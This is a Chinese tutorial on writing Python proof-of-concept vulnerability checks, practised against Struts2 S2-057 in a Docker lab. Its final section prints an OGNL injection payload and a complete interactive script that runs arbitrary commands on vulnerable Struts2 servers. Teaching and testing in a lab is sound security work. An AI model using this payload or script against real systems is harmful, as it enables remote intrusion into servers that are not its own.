Python漏洞驗(yàn)證程序Poc利用入門到實(shí)戰(zhàn)編寫
01 什么是poc
PoC(全稱: Proof of Concept), 中文譯作概念驗(yàn)證。在安全界,你可以理解成為漏洞驗(yàn)證程序。和一些應(yīng)用程序相比,PoC 是一段不完整的程序,僅僅是為了證明提出者的觀點(diǎn)的一段代碼。
02 什么是EXP
Exp(全稱: Exploit),中文叫**漏洞利用程序,**就是一段可以發(fā)揮漏洞價(jià)值的程序。想象一下這樣的場(chǎng)景,目標(biāo)存在一個(gè) SQL 注入漏洞,然后被你知道了,然后你編寫了一個(gè)程序,通過(guò)這個(gè) SQL 注入漏洞,拿到了目標(biāo)的權(quán)限,那么這個(gè)程序就是所謂的 Exp 了,當(dāng)然,如果你沒(méi)有使用這個(gè)漏洞,它就這么放著,那么這個(gè)漏洞,對(duì)你來(lái)說(shuō)可以認(rèn)為是沒(méi)有價(jià)值的。
03 關(guān)于 PoC/Exp 的兩個(gè)誤區(qū)
1. 寫 PoC 要會(huì) Python?PoC 的存在,只有一個(gè)目的:證明漏洞存在。而關(guān)于 PoC 的形式,或者說(shuō)代碼實(shí)現(xiàn)方式,你喜歡用什么語(yǔ)言,就用什么語(yǔ)言。推薦Python語(yǔ)言書寫,因?yàn)镻ython書寫簡(jiǎn)單,易讀懂。
2. PoC 就是 Exp?其實(shí)嚴(yán)格來(lái)講,PoC 和 Exp 是兩個(gè)東西。PoC 就是用來(lái)證明漏洞存在的,而 Exp 是用來(lái)利用這個(gè)漏洞進(jìn)一步進(jìn)行攻擊,在很多情況下,知道了漏洞存在,卻不知道具體怎么利用,編寫一個(gè) PoC 非常簡(jiǎn)單,而編寫一個(gè) Exp 是有一定難度的。
舉個(gè)栗子:
Poc好比你家門鎖存在問(wèn)題,別人知道,但不搞破壞;而Exp就是知道你家門鎖有問(wèn)題,通過(guò)進(jìn)一步利用,進(jìn)你家進(jìn)行盜竊等違法行為。
04 PoC 編寫流程
對(duì)于一個(gè)已知公開(kāi)的漏洞,編寫流程大致分為以下幾個(gè)步驟:
查看漏洞詳情,確定影響范圍。獲取一個(gè)漏洞的詳細(xì)情況后,可以通過(guò)官網(wǎng)下載受影響版本,或者在github上查找已有的docker文件。
搭建漏洞環(huán)境 通過(guò)虛擬機(jī)、docker、phpstudy搭建漏洞環(huán)境,有條件的同學(xué)可以在云端搭建,(這里推薦使用docker進(jìn)行搭建,搭建環(huán)境中會(huì)出現(xiàn)一些錯(cuò)誤,浪費(fèi)不必要的時(shí)間,而已有的docker是大佬們對(duì)漏洞進(jìn)行復(fù)現(xiàn)后寫出來(lái)的docker文件)。
復(fù)現(xiàn)漏洞 根據(jù)漏洞詳情,跟著走一遍流程,檢測(cè)漏洞是否存在,其中要尤其注意些參數(shù)、命令、函數(shù)及對(duì)應(yīng)的提交方法,大概了解漏洞的原理、利用過(guò)程、判斷漏洞是否存在的地方。
書寫Poc 在漏洞復(fù)現(xiàn)完成后,開(kāi)始著手寫Poc,以可以先寫一個(gè)簡(jiǎn)單的請(qǐng)求,檢查漏洞是否存在,然后可以將頁(yè)面的請(qǐng)求通過(guò)正則或者lxml進(jìn)行過(guò)濾得到想要的結(jié)果。
測(cè)試Poc 通過(guò)搭建的環(huán)境對(duì)書寫的Poc進(jìn)行測(cè)試,在書寫的時(shí)候驗(yàn)證漏洞存在后,每次進(jìn)行修改都要進(jìn)行測(cè)試,最終達(dá)到想要的效果。
05 Poc編寫中涉及到的一些庫(kù)
urllib 提供的一個(gè)用于操作URL的模塊,爬取網(wǎng)頁(yè)的時(shí)候,經(jīng)常需要用到這個(gè)庫(kù)。
urllib.request?——?打開(kāi)和讀取url urllib.error ——?包含 urllib.request 拋出的異常。 urllib.parse ——?解析 URL。
requests 實(shí)現(xiàn)的簡(jiǎn)單易用的HTTP庫(kù),比urllib更加簡(jiǎn)潔
requests.get(url,headers,data,verify=False,proxies=proxy,timeout=10) url?——?請(qǐng)求的url headers?——?請(qǐng)求時(shí)構(gòu)造的請(qǐng)求頭 data?——?請(qǐng)求時(shí)帶入的數(shù)據(jù) verify?——?取消https告警 proxies?——?代理設(shè)置 timeout?——?請(qǐng)求響應(yīng)超時(shí)處理
re 正則表達(dá)式模塊,使用簡(jiǎn)潔的字符表達(dá)式,匹配字符串中想要的結(jié)果
使用的正則語(yǔ)法,建議將請(qǐng)求源碼復(fù)制到在線正則匹配網(wǎng)站,進(jìn)行正則語(yǔ)法構(gòu)造。
正則在線測(cè)試:http://www.dhdzp.com/tools/zhengze.htm
json 將Python數(shù)據(jù)處理成json格式或者將json數(shù)據(jù)處理成Python數(shù)據(jù)格式
兩種方法 json.dumps?? 將?Python?對(duì)象編碼成?JSON?字符串? json.loads???將已編碼的?JSON?字符串解碼為?Python?對(duì)象?
lxml XML和HTML的解析器,其主要功能是解析和提取XML和HTML中的數(shù)據(jù),也可以定位特定元素及節(jié)點(diǎn)的信息
lxml?定位元素節(jié)點(diǎn)涉及到Xpath語(yǔ)法
from?lxml?import?etree
html?=?etree.HTML(response.text)
result?=?html.xpath('xpath語(yǔ)句')
print(result)
optparse 命令行參數(shù)模塊,在Poc中經(jīng)??吹揭恍﹨?shù) -h(--hlep)、-u(--url)等參數(shù),就是使用的此模塊
parser?=?optparse.OptionParser()???#?導(dǎo)入OptionParser對(duì)象后才可以使用add_option
parse.add_option('-u','--user',dest='user',action='store',type=str,metavar='user',help='Enter?User?Name!!')????#?添加需要的參數(shù)和內(nèi)容
parse.set_defaults(v=1.2)??#也可以這樣設(shè)置默認(rèn)值??
options,args=parse.parse_args()?
base64對(duì)字符串進(jìn)行base64加密解密模塊
base64.b64encode()?——?編碼函數(shù) base64.b64decode()?——?解碼函數(shù)
multiprocessing 多進(jìn)程,在處理一些數(shù)據(jù)量較大的請(qǐng)求時(shí)可以使用多進(jìn)程來(lái)較少處理時(shí)間。(Pyhton的多線程是假的并不是并發(fā)而是串發(fā)的)
from?multiprocessing?import?Process def?Poc(): xxxx .... if?__name?==?'__main__': ????for?i?in?rangge(5): ????????thread?=?Process(target=Poc,args=str(i)) ????????thread.start() ????Thread.join()
06 Web漏洞Poc編寫基本方法
import?requests
import?re
from?requests.packages.urllib3.exceptions?import?InsecureRequestWarning
def?Poc(url):
target_url?=?url?+?'payload'?#驗(yàn)證存在漏洞的url
#?代理池設(shè)置
proxy?=?{
????????'http':'127.0.0.1:812',
????????'http':'127.0.0.1:8123'
????}
#?請(qǐng)求頭部分構(gòu)造
????headers?=?{
????????'User-Agent':'Mozilla/5.0?(Windows?NT?10.0;?Win64;?x64)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/92.0.4515.107?Safari/537.36',???#模擬瀏覽器請(qǐng)求
????????'cookie':'xxxxxxxxxxxxxx',???#有些請(qǐng)求需要帶上cookie才可以請(qǐng)求到想要的內(nèi)容
????????'Connection':'close'???#關(guān)閉多余的連接請(qǐng)求
????}
????data?=?{'name':'xxxx','value':'xxxx'}???#向url中帶入請(qǐng)求的數(shù)據(jù)
????#?使用try?except對(duì)異常進(jìn)行處理
????try:
????????requests.packages.urllib3.disable_warnings(InsecureRequestWarning)????#取消SSL驗(yàn)證告警
????????response?=?requests.get(url=target_url,headers=headers,data=data,verify=False,proxies=proxy,timeout=10)???#請(qǐng)求漏洞的url
????????if?response.status_code?==?200:
????????????result?=?re.search(r'_____',response.text,re.I)????#使用正則匹配頁(yè)面請(qǐng)求,下劃線處填寫正則規(guī)則
????????????print('正在獲取結(jié)果:{}'.format(result.group(1)))
????????else:
????????????print('請(qǐng)求失敗:{}'.format(response.status_code))
????except?Exception?as?e:
????????print('請(qǐng)求失敗:?{}'.format(e))
if?__name__?==?'__main__':
????url?=?str(input('請(qǐng)輸入檢測(cè)的url:'))
????Poc(url)
07 實(shí)戰(zhàn)漏洞Poc編寫
這里使用Struts2 s2-057漏洞進(jìn)行測(cè)試 漏洞部署使用docker,
源碼下載連接:https://github.com/vulhub/vulhub/tree/master/struts2/s2-057
啟動(dòng)環(huán)境:docker-compose up -d
訪問(wèn):http://192.168.11.124:8080/struts2-showcase/

首先復(fù)現(xiàn)漏洞,了解漏洞復(fù)現(xiàn)每一步。
進(jìn)行poc編寫測(cè)試:驗(yàn)證漏洞是否存在 :
Poc:/struts2-showcase/$%7B233*233%7D/actionChain1.action
http://192.168.11.124:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action
訪問(wèn)連接后,連接中的$%7B233*233%7D 被解析成了 54289(233*233),說(shuō)明存在漏洞。

隨后可以根據(jù)已有的漏洞Poc(exp),再次進(jìn)行驗(yàn)證。
注:此處的poc需要進(jìn)行url編碼。
Poc(exp):${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

漏洞復(fù)現(xiàn)基本完成,現(xiàn)在進(jìn)行Poc編寫。
import?requests?
import?sys?
def?title():
????print('+------------------------------------------')
????print('Version:Struts S2-057 ????????????????????')
????print('author:Tackrio ???????????????????????????')
????print('use:exploit.py url ???????????????????????')
????print('+------------------------------------------')
def?Poc(url):
????try:
????????while?True:
????????????cmd?=?input('$')
????????????payload_command?=?'/struts2/%24%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27'+cmd+'%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action'?
????????????payload_test?=?'/struts2-showcase/$%7B1+1%7D/actionChain1.action'
????????????response_test?=?requests.get(url=url?+?payload_test,allow_redirects=False,verify=False,timeout=6)
????????????content?=?response_test.headers.get('Location').split('/')[2]
????????????if?cmd?==?'exit':
????????????????exit()
????????????if?response_test.status_code?==?302?and?content?==?'2':
????????????????url1?=?url?+?payload_command
????????????????response?=?requests.get(url=url1,allow_redirects=False,verify=False,timeout=6)
????????????????print(response.headers.get('Location').split('/')[2])
????except?requests.ConnectionError?as?error:
????????print("請(qǐng)求出錯(cuò):",error)
if?__name__?==?"__main__":
????title()
????args?=?sys.argv[1]
????Poc(url=args)

以上就是從入門到實(shí)戰(zhàn)Python漏洞驗(yàn)證程序Poc利用的詳細(xì)內(nèi)容,更多關(guān)于Python漏洞驗(yàn)證程序Poc利用的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
解決使用Pandas 讀取超過(guò)65536行的Excel文件問(wèn)題
這篇文章主要介紹了解決使用Pandas 讀取超過(guò)65536行的Excel文件問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2020-11-11
Jupyter notebook運(yùn)行Spark+Scala教程
這篇文章主要介紹了Jupyter notebook運(yùn)行Spark+Scala教程,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2020-04-04
python 簡(jiǎn)單搭建阻塞式單進(jìn)程,多進(jìn)程,多線程服務(wù)的實(shí)例
下面小編就為大家?guī)?lái)一篇python 簡(jiǎn)單搭建阻塞式單進(jìn)程,多進(jìn)程,多線程服務(wù)的實(shí)例。小編覺(jué)得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧2017-11-11
django中F表達(dá)式和Q函數(shù)應(yīng)用與原理詳解
F對(duì)象查詢與Q對(duì)象查詢,剛看到大家一定會(huì)感到很陌生,其實(shí)它們也是 Django 提供的查詢方法,而且非常的簡(jiǎn)單的高效,下面這篇文章主要給大家介紹了關(guān)于django中F表達(dá)式和Q函數(shù)應(yīng)用與原理的相關(guān)資料,需要的朋友可以參考下2023-05-05
Python編程源碼報(bào)錯(cuò)解決方法總結(jié)經(jīng)驗(yàn)分享
這篇文章主要介紹了在平時(shí)Python編程工作中一些源碼報(bào)錯(cuò)的解決方法總結(jié)經(jīng)驗(yàn)分享,有需要的朋友可以借鑒參考下,希望能夠有所幫助2021-10-10
python的常見(jiàn)矩陣運(yùn)算(小結(jié))
這篇文章主要介紹了python的常見(jiàn)矩陣運(yùn)算(小結(jié)),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2019-08-08
Python實(shí)現(xiàn)多子圖繪制系統(tǒng)的示例詳解
這篇文章主要介紹了如何利用python實(shí)現(xiàn)多子圖繪制系統(tǒng),文中的示例代碼講解詳細(xì),具有一定的的參考價(jià)值,感興趣的小伙伴可以跟隨小編一起學(xué)習(xí)一下2023-09-09

